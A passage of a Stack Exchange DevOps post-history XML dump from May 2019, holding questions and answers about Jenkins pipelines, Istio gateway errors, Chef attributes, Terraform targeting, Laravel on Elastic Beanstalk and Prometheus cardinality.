dynamic template on actual deployment&#xD;&#xA;  - Ways for a quick configuration roll-back&#xD;&#xA;&#xD;&#xA;And others.&#xD;&#xA;&#xD;&#xA;I do understand, that there won't be a silver bullet which answers all the questions I have, but at least it'll give me a hint if I'm moving in a right direction.&#xD;&#xA;&#xD;&#xA;So what sources I should look into?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23770" PostHistoryTypeId="1" PostId="8169" RevisionGUID="90974dc4-fd8b-4ab9-a6ee-74475b3c236d" CreationDate="2019-05-20T11:02:38.583" UserId="5674" Text="What are sources for configuration management best practices?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23771" PostHistoryTypeId="3" PostId="8169" RevisionGUID="90974dc4-fd8b-4ab9-a6ee-74475b3c236d" CreationDate="2019-05-20T11:02:38.583" UserId="5674" Text="&lt;configuration-management&gt;&lt;configuration&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23772" PostHistoryTypeId="2" PostId="8170" RevisionGUID="82bc4460-574a-4c24-97f5-8f0a128f7cfd" CreationDate="2019-05-20T11:11:50.760" UserId="4452" Text="I am currently investigating how to manage the containers for our new data-processing pipeline.&#xD;&#xA;&#xD;&#xA;What I would like to do is to be able to have whatever tool I choose rebuild the docker images when I have a new version ready in git (without me having to come up with a name for the docker image). I have found that OpenShifts ImageStreams does this but OpenShift feels like an intrusive dependency so I am searching for a well supported way of doing this with a more clean kubernetes install.&#xD;&#xA;&#xD;&#xA;I have looked at helm but did not find this feature.&#xD;&#xA;&#xD;&#xA;So&#xD;&#xA;&#xD;&#xA;What is the most mature and widely supported tool that can build the containers automatically during the deployment to kubernetes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23773" PostHistoryTypeId="1" PostId="8170" RevisionGUID="82bc4460-574a-4c24-97f5-8f0a128f7cfd" CreationDate="2019-05-20T11:11:50.760" UserId="4452" Text="How to have kubernetes (re)build containers on deployment similar to openshifts ImageStream" ContentLicense="CC BY-SA 4.0" />
  <row Id="23774" PostHistoryTypeId="3" PostId="8170" RevisionGUID="82bc4460-574a-4c24-97f5-8f0a128f7cfd" CreationDate="2019-05-20T11:11:50.760" UserId="4452" Text="&lt;kubernetes&gt;&lt;automation&gt;&lt;builds&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23775" PostHistoryTypeId="2" PostId="8171" RevisionGUID="a1170dcb-19af-485a-ba00-dee1f88669e5" CreationDate="2019-05-20T13:10:22.220" UserId="13" Text="Well, that's pretty broad, mostly this can boils down to two options:&#xD;&#xA;&#xD;&#xA;- [Policy based management](https://en.wikipedia.org/wiki/Policy-based_management)&#xD;&#xA;- [Promise Theory](https://en.wikipedia.org/wiki/Promise_theory)&#xD;&#xA;&#xD;&#xA;In the first one you're describing the actions you want to be done to achieve the desired state, assuming previous state of the system or testing against it specifically, in the second you're describing what you expect as resulting state of the system and your tool should take care of doing what is necessary to achieve that.&#xD;&#xA;&#xD;&#xA;A policy based management could be made of simple scripts, doing what you want, Promise Theory tools are inherently more complex (Ansible, Chef, Puppet, Salt) but they're mostly [idempotent](https://en.wikipedia.org/wiki/Idempotence), this means they will only change something if the actual state doesn't match the desired state.&#xD;&#xA;&#xD;&#xA;The only question which can be given a really definitive answer out of thin air without knowing the specifics of your application/service is to the second question:&#xD;&#xA;&#xD;&#xA;Don't reinvent the wheel, there's serious softwares for configuration management nowadays that rewriting your own would be a road of pain for less functionalities than already existing in available softwares. There's of course a learning curve whatever path you choose, but the effort to learn a maintained piece is more worthy than the effort to write your own system and maintain it on top of the application configuration you'll have to manage with it." ContentLicense="CC BY-SA 4.0" />
  <row Id="23783" PostHistoryTypeId="2" PostId="8174" RevisionGUID="5b56e59f-ea69-4a8b-84c6-9a8e781fcaa7" CreationDate="2019-05-20T18:30:47.123" UserId="6579" Text="Installing it as a tool allows Jenkins to manage the binary and ensure it's available for your build while also providing supporting pipeline syntax `withEnv()`. Having an agent with the binary allows you to shell out and run your commands using `sh` without `withEnv()`. It also allows you to decide where these binaries come from depending on your agent type (*static, vm, container, pod*).&#xD;&#xA;&#xD;&#xA;Personally, I prefer the latter because I can control the updating of said binaries on the agent in a more automated fashion." ContentLicense="CC BY-SA 4.0" />
  <row Id="23787" PostHistoryTypeId="2" PostId="8176" RevisionGUID="2b75de31-3852-4ae8-aede-0b1193ceeac5" CreationDate="2019-05-20T22:01:21.123" UserId="4115" Text="This was covered in an [official blog post](https://jenkins.io/blog/2018/07/02/whats-new-declarative-piepline-13x-sequential-stages/) when the feature to nest stages inside a parallel block was added.&#xD;&#xA;&#xD;&#xA;Here is the example copy-pasted from the blog post.  In this example, the Windows and Linux blocks are run in parallel, but the stages within each block are run sequentially:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent none&#xD;&#xA;    &#xD;&#xA;        stages {&#xD;&#xA;            stage(&quot;build and deploy on Windows and Linux&quot;) {&#xD;&#xA;                parallel {&#xD;&#xA;                    stage(&quot;windows&quot;) {&#xD;&#xA;                        agent {&#xD;&#xA;                            label &quot;windows&quot;&#xD;&#xA;                        }&#xD;&#xA;                        stages {&#xD;&#xA;                            stage(&quot;build&quot;) {&#xD;&#xA;                                steps {&#xD;&#xA;                                    bat &quot;run-build.bat&quot;&#xD;&#xA;                                }&#xD;&#xA;                            }&#xD;&#xA;                            stage(&quot;deploy&quot;) {&#xD;&#xA;                                when {&#xD;&#xA;                                    branch &quot;master&quot;&#xD;&#xA;                                }&#xD;&#xA;                                steps {&#xD;&#xA;                                    bat &quot;run-deploy.bat&quot;&#xD;&#xA;                                }&#xD;&#xA;                            }&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;    &#xD;&#xA;                    stage(&quot;linux&quot;) {&#xD;&#xA;                        agent {&#xD;&#xA;                            label &quot;linux&quot;&#xD;&#xA;                        }&#xD;&#xA;                        stages {&#xD;&#xA;                            stage(&quot;build&quot;) {&#xD;&#xA;                                steps {&#xD;&#xA;                                    sh &quot;./run-build.sh&quot;&#xD;&#xA;                                }&#xD;&#xA;                            }&#xD;&#xA;                            stage(&quot;deploy&quot;) {&#xD;&#xA;                                 when {&#xD;&#xA;                                     branch &quot;master&quot;&#xD;&#xA;                                 }&#xD;&#xA;                                 steps {&#xD;&#xA;                                    sh &quot;./run-deploy.sh&quot;&#xD;&#xA;                                }&#xD;&#xA;                            }&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;EDIT: I missed that you're trying to do this based on arbitrary input.  If you want to do that, you must use scripted Pipelines (or a script nested in a Declarative Pipeline).  Plain Declarative Pipelines don't support that kind of runtime-defined Pipelines." ContentLicense="CC BY-SA 4.0" />
  <row Id="23788" PostHistoryTypeId="5" PostId="8167" RevisionGUID="e398257e-c7c5-47e7-9698-db4242da384f" CreationDate="2019-05-20T22:35:04.450" UserId="210" Comment="added 11 characters in body" Text="I try to setup an aws load balancer (ELB) with SSL follow the instruction at [#6566][1]&#xD;&#xA;&#xD;&#xA;Certificate was attached on ELB.&#xD;&#xA;&#xD;&#xA;However, I got the issue &quot;**upstream connect error or disconnect/reset before headers. reset reason: connection termination**&quot; when trying to access our web on browser.&#xD;&#xA;&#xD;&#xA;Our setup without SSL has been worked before.&#xD;&#xA;&#xD;&#xA;I use the custom values.yaml to install the istio (helm template):&#xD;&#xA;&#xD;&#xA;    helm template ./istio/install/kubernetes/helm/istio --name istio \&#xD;&#xA;    --namespace istio-system --values ./mesh/values.yaml | kubectl apply -f -&#xD;&#xA;&#xD;&#xA;I have inserted below annotations to the `gateways` tag:&#xD;&#xA;&#xD;&#xA;    istio-ingressgateway:&#xD;&#xA;        serviceAnnotations: &#xD;&#xA;          service.beta.kubernetes.io/aws-load-balancer-ssl-cert: &quot;arn:aws:acm:ap-southeast-1:xxxxx:certificate/my-crt&quot;&#xD;&#xA;          service.beta.kubernetes.io/aws-load-balancer-backend-protocol: &quot;http&quot;&#xD;&#xA;          service.beta.kubernetes.io/aws-load-balancer-ssl-ports: &quot;https&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is my `gateway.yaml`:&#xD;&#xA;&#xD;&#xA;    apiVersion: networking.istio.io/v1alpha3&#xD;&#xA;    kind: Gateway&#xD;&#xA;    metadata:&#xD;&#xA;      name: istio-gateway&#xD;&#xA;    spec:&#xD;&#xA;      selector:&#xD;&#xA;        istio: ingressgateway #default istio ingressgateway&#xD;&#xA;      servers:&#xD;&#xA;      - port:&#xD;&#xA;          number: 80&#xD;&#xA;          name: http-istio-gateway&#xD;&#xA;          protocol: HTTP&#xD;&#xA;        hosts:&#xD;&#xA;        - &quot;*&quot;&#xD;&#xA;        tls:&#xD;&#xA;          httpsRedirect: true&#xD;&#xA;      - port:&#xD;&#xA;          number: 443&#xD;&#xA;          name: https-istio-gateway&#xD;&#xA;          protocol: HTTP&#xD;&#xA;        hosts:&#xD;&#xA;        - &quot;*&quot;&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: networking.istio.io/v1alpha3&#xD;&#xA;    kind: VirtualService&#xD;&#xA;    metadata:&#xD;&#xA;      name: api-gateway&#xD;&#xA;    spec:&#xD;&#xA;      gateways:&#xD;&#xA;      - istio-gateway&#xD;&#xA;      hosts:&#xD;&#xA;      - &quot;*&quot;&#xD;&#xA;      http:&#xD;&#xA;      - match:&#xD;&#xA;        - uri:&#xD;&#xA;            prefix: /socket.io/&#xD;&#xA;        route:&#xD;&#xA;        - destination:&#xD;&#xA;            host: api-gateway-ws.default.svc.cluster.local&#xD;&#xA;            port:&#xD;&#xA;              number: 5001&#xD;&#xA;      - match:&#xD;&#xA;        - uri:&#xD;&#xA;            prefix: /&#xD;&#xA;        route:&#xD;&#xA;        - destination:&#xD;&#xA;            host: api-gateway.default.svc.cluster.local&#xD;&#xA;            port:&#xD;&#xA;              number: 5000&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/istio/istio/issues/6566" ContentLicense="CC BY-SA 4.0" />
  <row Id="23789" PostHistoryTypeId="4" PostId="8167" RevisionGUID="e398257e-c7c5-47e7-9698-db4242da384f" CreationDate="2019-05-20T22:35:04.450" UserId="210" Comment="added 11 characters in body" Text="How to solve 'upstream connect error or disconnect/reset before headers. reset reason: connection termination' in Istio?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23790" PostHistoryTypeId="6" PostId="8167" RevisionGUID="e398257e-c7c5-47e7-9698-db4242da384f" CreationDate="2019-05-20T22:35:04.450" UserId="210" Comment="added 11 characters in body" Text="&lt;kubernetes&gt;&lt;istio&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23791" PostHistoryTypeId="2" PostId="8177" RevisionGUID="2adbf354-bdb9-40e5-8b0d-ede1c15f3bc4" CreationDate="2019-05-20T22:38:10.083" UserId="210" Text="[Istio's](https://istio.io/) website" ContentLicense="CC BY-SA 4.0" />
  <row Id="23792" PostHistoryTypeId="1" PostId="8177" RevisionGUID="2adbf354-bdb9-40e5-8b0d-ede1c15f3bc4" CreationDate="2019-05-20T22:38:10.083" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="23793" PostHistoryTypeId="2" PostId="8178" RevisionGUID="c3e176c8-444e-4b51-ae49-36cbdb811668" CreationDate="2019-05-20T22:38:10.083" UserId="210" Text="Use this tag if a question is about Istio." ContentLicense="CC BY-SA 4.0" />
  <row Id="23794" PostHistoryTypeId="1" PostId="8178" RevisionGUID="c3e176c8-444e-4b51-ae49-36cbdb811668" CreationDate="2019-05-20T22:38:10.083" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="23795" PostHistoryTypeId="6" PostId="4940" RevisionGUID="f5a920af-140a-4a63-aebd-b6479ee12789" CreationDate="2019-05-20T22:39:37.943" UserId="210" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;istio&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23796" PostHistoryTypeId="5" PostId="8168" RevisionGUID="23dfe34e-3813-4e30-8dd1-4f968e9ebbf0" CreationDate="2019-05-20T22:40:22.110" UserId="4325" Comment="Small grammatical and cosmetic correction for clarity" Text="Every few hours, my Laravel website on AWS Elastic Beanstalk crashes and throws the following error:&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    [Sun May 19 13:06:13.436195 2019] [php7:error] [pid 3431] [client]&#xD;&#xA;       PHP Fatal error:  require(): Failed opening required &#xD;&#xA;       '/var/app/current/vendor/composer/../symfony/polyfill-php70/bootstrap.php'&#xD;&#xA;       (include_path='.:/usr/share/pear7:/usr/share/php') in &#xD;&#xA;       /var/app/current/vendor/composer/autoload_real.php on line 66&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;    [Sun May 19 13:06:31.485081 2019] [php7:warn] [pid 3459] [client] PHP&#xD;&#xA;       Warning: &#xD;&#xA;       require(/var/app/current/vendor/composer/../symfony/polyfill-php70/bootstrap.php):&#xD;&#xA;       failed to open stream: No such file or directory in&#xD;&#xA;       /var/app/current/vendor/composer/autoload_real.php on line 66&#xD;&#xA;&#xD;&#xA;In-order to fix the error, I either go to `/var/www/html` or `/var/app/current` and use `composer.phar install` to fix the packages installed.&#xD;&#xA;&#xD;&#xA;Unfortunately, this doesn't cut it. Once I fix the issue, a few hours later, it'll be broken again with the same errors. I've tried to fix the packages associated with the deployed zip file, but this doesn't fix it either.&#xD;&#xA;&#xD;&#xA;Is there something I'm misunderstanding about the AWS architecture that causes this to occur?&#xD;&#xA;&#xD;&#xA;I'm a newbie to AWS to any help would be much appreciated :) " ContentLicense="CC BY-SA 4.0" />
  <row Id="23797" PostHistoryTypeId="24" PostId="8168" RevisionGUID="23dfe34e-3813-4e30-8dd1-4f968e9ebbf0" CreationDate="2019-05-20T22:40:22.110" Comment="Proposed by 4325 approved by -1 edit id of 1001" ContentLicense="CC BY-SA 4.0" />
  <row Id="23798" PostHistoryTypeId="5" PostId="8168" RevisionGUID="c9c643f4-a02c-4f45-9729-f01473132b56" CreationDate="2019-05-20T22:40:22.110" UserId="40" Comment="remove noise" Text="Every few hours, my Laravel website on AWS Elastic Beanstalk crashes and throws the following error:&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    [Sun May 19 13:06:13.436195 2019] [php7:error] [pid 3431] [client]&#xD;&#xA;       PHP Fatal error:  require(): Failed opening required &#xD;&#xA;       '/var/app/current/vendor/composer/../symfony/polyfill-php70/bootstrap.php'&#xD;&#xA;       (include_path='.:/usr/share/pear7:/usr/share/php') in &#xD;&#xA;       /var/app/current/vendor/composer/autoload_real.php on line 66&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;    [Sun May 19 13:06:31.485081 2019] [php7:warn] [pid 3459] [client] PHP&#xD;&#xA;       Warning: &#xD;&#xA;       require(/var/app/current/vendor/composer/../symfony/polyfill-php70/bootstrap.php):&#xD;&#xA;       failed to open stream: No such file or directory in&#xD;&#xA;       /var/app/current/vendor/composer/autoload_real.php on line 66&#xD;&#xA;&#xD;&#xA;In-order to fix the error, I either go to `/var/www/html` or `/var/app/current` and use `composer.phar install` to fix the packages installed.&#xD;&#xA;&#xD;&#xA;Unfortunately, this doesn't cut it. Once I fix the issue, a few hours later, it'll be broken again with the same errors. I've tried to fix the packages associated with the deployed zip file, but this doesn't fix it either.&#xD;&#xA;&#xD;&#xA;Is there something I'm misunderstanding about the AWS architecture that causes this to occur?&#xD;&#xA;&#xD;&#xA;I'm a newbie to AWS, any help?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23800" PostHistoryTypeId="6" PostId="5736" RevisionGUID="b0a0baf1-f05e-45bb-b9d4-f97ba7f2e5d9" CreationDate="2019-05-20T22:40:58.790" UserId="210" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;security&gt;&lt;istio&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23808" PostHistoryTypeId="2" PostId="8181" RevisionGUID="934b194b-b6d7-4d97-9d2d-d4232626585d" CreationDate="2019-05-21T02:13:15.363" UserId="4369" Text="If you use the [Self-Organizing Swarm Plug-in](https://wiki.jenkins.io/display/JENKINS/Swarm+Plugin) to connect your build agents to your master, you can spin agents up/down without having to make any changes on your master. Agents will automatically register themselves with the master. You will have to supply credentials to the agents to self-register. I would suggest using SSM Parameter Store to store them and then retrieve them in userdata.&#xD;&#xA;&#xD;&#xA;Your agents can then be completely ephemeral, and updates performed in userdata or by updating the AMI.&#xD;&#xA;&#xD;&#xA;See [this Terraform module](https://github.com/aarongorka/terraform-aws-jenkins/) for a more detailed example of implementing this." ContentLicense="CC BY-SA 4.0" />
  <row Id="23810" PostHistoryTypeId="2" PostId="8182" RevisionGUID="f1f23b4c-c7ec-41ab-ba04-37bc40edc5fd" CreationDate="2019-05-21T04:01:37.233" UserId="12348" Text="I have resolved the issue by update the gateway manifest.&#xD;&#xA;Not sure why the error happen when adding multiple &quot;match&quot;.&#xD;&#xA;&#xD;&#xA;    apiVersion: networking.istio.io/v1alpha3&#xD;&#xA;    kind: Gateway&#xD;&#xA;    metadata:&#xD;&#xA;      name: istio-gateway&#xD;&#xA;    spec:&#xD;&#xA;      selector:&#xD;&#xA;        istio: ingressgateway #default istio ingressgateway&#xD;&#xA;      servers:&#xD;&#xA;      - port:&#xD;&#xA;          number: 80&#xD;&#xA;          name: http-istio-gateway&#xD;&#xA;          protocol: HTTP&#xD;&#xA;        hosts:&#xD;&#xA;        - &quot;*&quot;&#xD;&#xA;        tls:&#xD;&#xA;          httpsRedirect: true&#xD;&#xA;      - port:&#xD;&#xA;          number: 443&#xD;&#xA;          name: https-istio-gateway&#xD;&#xA;          protocol: HTTP&#xD;&#xA;        hosts:&#xD;&#xA;        - &quot;*&quot;&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: networking.istio.io/v1alpha3&#xD;&#xA;    kind: VirtualService&#xD;&#xA;    metadata:&#xD;&#xA;      name: api-gateway&#xD;&#xA;    spec:&#xD;&#xA;      gateways:&#xD;&#xA;      - istio-gateway&#xD;&#xA;      hosts:&#xD;&#xA;      - &quot;*&quot;&#xD;&#xA;      http:&#xD;&#xA;      - match:&#xD;&#xA;        - uri:&#xD;&#xA;            prefix: &quot;/socket.io&quot;&#xD;&#xA;        route:&#xD;&#xA;        - destination:&#xD;&#xA;            host: api-gateway-ws.default.svc.cluster.local&#xD;&#xA;            port:&#xD;&#xA;              number: 5001&#xD;&#xA;        websocketUpgrade: true&#xD;&#xA;      - route:&#xD;&#xA;        - destination:&#xD;&#xA;            host: api-gateway.default.svc.cluster.local&#xD;&#xA;            port:&#xD;&#xA;              number: 5000" ContentLicense="CC BY-SA 4.0" />
  <row Id="23811" PostHistoryTypeId="2" PostId="8183" RevisionGUID="187f512d-37b1-4ca4-80d8-138e7d90e3fb" CreationDate="2019-05-21T05:24:21.313" UserId="15040" Text="Git itself has a server-side [`post-receive` hook][1]. You can use it to run a command that triggers your deployment whenever you push to your repo. Web services like Gitlab or Bitbucket rely on this mechanism to offer plug-ins that trigger CI services. Less flexible but you can configure it conveniently from the web front end.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;Another option would be to use a tool like Puppet on the target machine that periodically checks the repo for changes and pulls them in. The following Puppet code would clone/update the repo into the `/path/to/repo` directory (by default Puppet runs every 30 min):&#xD;&#xA;```&#xD;&#xA;vcsrepo { '/path/to/repo':&#xD;&#xA;  ensure   =&gt; latest,&#xD;&#xA;  provider =&gt; git,&#xD;&#xA;  source   =&gt; 'git://example.com/repo.git',&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;See the [documentation of the vcsrepo module][2] for details.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks&#xD;&#xA;  [2]: https://forge.puppet.com/puppetlabs/vcsrepo" ContentLicense="CC BY-SA 4.0" />
  <row Id="23814" PostHistoryTypeId="2" PostId="8185" RevisionGUID="06ab17aa-ad71-47bf-bc67-4fa316a165aa" CreationDate="2019-05-21T08:20:32.847" UserId="15035" Text="If you organize your code by modules, you could apply terraform only on a module, eg :&#xD;&#xA;&#xD;&#xA;    # securitygroup.tf&#xD;&#xA;    module &quot;securitygroup&quot; {&#xD;&#xA;      source = &quot;git@github.com:user/securitygroup-terraform-module.git?ref=master&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    $ tf apply -target=module.securitygroup" ContentLicense="CC BY-SA 4.0" />
  <row Id="23815" PostHistoryTypeId="2" PostId="8186" RevisionGUID="63ebe789-489a-4419-ad2a-bd5d3c66b8af" CreationDate="2019-05-21T08:28:50.213" UserId="15043" Text="I have a cookbook that is being used to deploy some software on a chef nodes. I use it when bootstraping a node and then remove it from the run_list since I need it only to run once. I don't know if it's proper to do thing like that in Chef or if it's an antipattern. But this cookbook needs to have some variables that change on every node. Let's say that it needs to know the name of the main network interface of that node and I need to provide to it some kind of license number. I do that by using attributes, I specify in attributes/default.rb:&#xD;&#xA;&#xD;&#xA;    default['cookbook_name']['interface'] = 'eth0'&#xD;&#xA;    default['cookbook_name']['license'] = 'abcxyz'&#xD;&#xA;&#xD;&#xA;And then I upload this to chef-server and run recipe on a node that is using this attributes. But if the other person wants to deploy the same software using this cookbook on some  other node, then he needs to wait until I finish because if he will replace those values in attributes.rb with values of second node and upload it to chef-server then it will overwrite values that I need right now.&#xD;&#xA;&#xD;&#xA;What is the proper way to do that? I feel like I am missing something about the work flow of attributes. As far as I see, using data bags will not solve the problem. Is there some way to assign &quot;attribute&quot; only to a specific node? Can I assign an attribute only to a given node?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23816" PostHistoryTypeId="1" PostId="8186" RevisionGUID="63ebe789-489a-4419-ad2a-bd5d3c66b8af" CreationDate="2019-05-21T08:28:50.213" UserId="15043" Text="How to use in Chef different attributes values for different nodes" ContentLicense="CC BY-SA 4.0" />
  <row Id="23817" PostHistoryTypeId="3" PostId="8186" RevisionGUID="63ebe789-489a-4419-ad2a-bd5d3c66b8af" CreationDate="2019-05-21T08:28:50.213" UserId="15043" Text="&lt;chef&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23821" PostHistoryTypeId="2" PostId="8188" RevisionGUID="b80243ac-1118-40ff-963d-807caaddf463" CreationDate="2019-05-21T09:54:51.350" UserId="13" Text="You may use [attributes precedence](https://docs.chef.io/attributes.html) for that or a wrapper cookbook, I highly encourage you to take some time to check out https://learn.chef.io which cover those uses cases. &#xD;&#xA;&#xD;&#xA;This is a kind of antipattern, one shot configuration are not what Chef is for, but for this use case I'd go with a common cookbook doing what is needed and a wrapper cookbook defining the attributes and including the common recipe.&#xD;&#xA;&#xD;&#xA;A typical wrapper cookbook would need a few files:&#xD;&#xA;&#xD;&#xA; - `metadata.rb` as another cookbook with a line `depends 'common_cookbook'`&#xD;&#xA; - `attributes\default.rb` with the values for this type of server, same syntax as in common_cookbook&#xD;&#xA; - `recipes\default.rb` with the line `include_recipe 'common_cookbook'`&#xD;&#xA;&#xD;&#xA;This pattern is also known as role cookbooks, more details in [this blog post](https://blog.chef.io/2017/02/14/writing-wrapper-cookbooks/)" ContentLicense="CC BY-SA 4.0" />
  <row Id="23822" PostHistoryTypeId="50" PostId="6913" RevisionGUID="b71af92a-90f4-4b00-9951-2a8dbae472eb" CreationDate="2019-05-21T10:01:00.967" UserId="-1" />
  <row Id="23823" PostHistoryTypeId="2" PostId="8189" RevisionGUID="cab71bf1-dcfd-46fd-9aa8-30f76b2f05e1" CreationDate="2019-05-21T11:49:24.720" UserId="3451" Text="I have a background in relational databases and new to Prometheus. I wonder why Prometheus is not a good choice for high cardinality data? Why I need to use low cardinality data? It's exact opposite from SQL DBs.&#xD;&#xA;&#xD;&#xA;Can somebody explain me the technical reason for that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23824" PostHistoryTypeId="1" PostId="8189" RevisionGUID="cab71bf1-dcfd-46fd-9aa8-30f76b2f05e1" CreationDate="2019-05-21T11:49:24.720" UserId="3451" Text="Why Prometheus is not a good choice for high cardinality data?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23825" PostHistoryTypeId="3" PostId="8189" RevisionGUID="cab71bf1-dcfd-46fd-9aa8-30f76b2f05e1" CreationDate="2019-05-21T11:49:24.720" UserId="3451" Text="&lt;prometheus&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23834" PostHistoryTypeId="2" PostId="8192" RevisionGUID="2e4212f2-6c50-4779-86b5-777f53e7a5ec" CreationDate="2019-05-21T16:19:10.313" UserId="6393" Text="Are there any proposed best practices for how to monitor for thrashing containers? We're in a situation where we have containers that might try to come up and will crash -&gt; restart a few dozen times without anyone noticing. However, it's &quot;normal&quot; for containers to be so ephemeral, so tracking this sort of anomaly seems difficult (what if your workload really is just 30 seconds?)&#xD;&#xA;&#xD;&#xA;I'm just wondering if there are any &quot;good enough&quot; alerting practices that anyone else has come up with for tracking unhealthy restarts vs healthy restarts?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23835" PostHistoryTypeId="1" PostId="8192" RevisionGUID="2e4212f2-6c50-4779-86b5-777f53e7a5ec" CreationDate="2019-05-21T16:19:10.313" UserId="6393" Text="How do you monitor and alert on thrashing containers?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23836" PostHistoryTypeId="3" PostId="8192" RevisionGUID="2e4212f2-6c50-4779-86b5-777f53e7a5ec" CreationDate="2019-05-21T16:19:10.313" UserId="6393" Text="&lt;containers&gt;&lt;monitoring&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23837" PostHistoryTypeId="2" PostId="8193" RevisionGUID="d3cd020c-08de-44c7-8184-200a0d4a6189" CreationDate="2019-05-21T21:18:34.397" UserId="11952" Text="I would look into Azure Functions. Create a gate trigger and enable azure function after a successful release. &#xD;&#xA;&#xD;&#xA;References:&#xD;&#xA;https://docs.microsoft.com/en-us/azure/devops/repos/git/create-pr-status-server-with-azure-functions?view=azure-devops" ContentLicense="CC BY-SA 4.0" />
  <row Id="23838" PostHistoryTypeId="50" PostId="6627" RevisionGUID="ffc256e1-4bf7-4665-829d-2cb8e3023649" CreationDate="2019-05-21T22:01:45.447" UserId="-1" />
  <row Id="23842" PostHistoryTypeId="5" PostId="4314" RevisionGUID="10e1ecbd-59cf-463a-b2c3-aa2f7165001a" CreationDate="2019-05-22T01:31:56.933" UserId="249" Comment="Remove invalid solution &amp; add another potential one; fix note about targeting multiple resources as it appears you now can" Text="Not really. The standard way to work around this though is to use eg:&#xD;&#xA;&#xD;&#xA;    terraform apply -target=aws_security_group.my_sg&#xD;&#xA;&#xD;&#xA;but that's only going to apply one security group at a time, so will get tedious if you have a lot of them. You can, however, target multiple resources in one command:&#xD;&#xA;&#xD;&#xA;    terraform apply -target=aws_security_group.my_sg -target=aws_security_group.my_2nd_sg&#xD;&#xA;&#xD;&#xA;However, there are potentially a couple of workarounds:&#xD;&#xA;&#xD;&#xA; - **The `-target` parameter respects dependencies.**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;   This means if you were to eg. `-target=aws_instance.my_server` and that instance had, say, five security groups attached to it via interpolation, changes to those security groups _should_ be included in the plan (I haven't thoroughly tested this, but I believe this is how it works).&#xD;&#xA;&#xD;&#xA;   That is a bit messy though, as you probably don't want to touch an instance. A safer alternative might be using something like a [`null_resource`](https://www.terraform.io/docs/provisioners/null_resource.html) to provide a target for the security groups, but again I haven't tried this (there might be another 'safe' resource you could rely on, though?).&#xD;&#xA;&lt;br /&gt;&lt;br /&gt;&#xD;&#xA;&#xD;&#xA; - **Create a module.**&#xD;&#xA;&#xD;&#xA;   You can target a [module][1] just like you can target a plain resource:&#xD;&#xA;&#xD;&#xA;        terraform apply -target=module.my_security_groups&#xD;&#xA;&#xD;&#xA;   Inside this module, you could define all of your security groups - just like you would have outside of the module. As well as being able to target it directly, this also makes it easier for you to re-use the same set of security groups for other infrastructure, if you ever need to.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/configuration-0-11/modules.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="23843" PostHistoryTypeId="2" PostId="8194" RevisionGUID="609dbd00-3a37-487f-96ed-241655b86c00" CreationDate="2019-05-22T06:32:42.707" UserId="15043" Text="Yesterday I asked [similar question](https://devops.stackexchange.com/questions/8186/how-to-use-in-chef-different-attributes-values-for-different-nodes) and found this similar question after getting replies in my own post. What people suggested me in my question is editing a node by `knife edit` and then setting an attribute for that particular node manually. This attribute would be assigned only to this node. Or the other way - you could create a wrapper cookbook that would override attributes of your &quot;base&quot; cookbook. For more details check out answers and comments for my question." ContentLicense="CC BY-SA 4.0" />
  <row Id="23844" PostHistoryTypeId="6" PostId="8189" RevisionGUID="7a4bab60-92fe-4e5d-ab2c-6b8e1e0c9220" CreationDate="2019-05-22T06:36:23.573" UserId="3451" Comment="edited tags" Text="&lt;monitoring&gt;&lt;databases&gt;&lt;prometheus&gt;&lt;sql&gt;&lt;data&gt;" ContentLicense="CC BY-SA 4.0" />
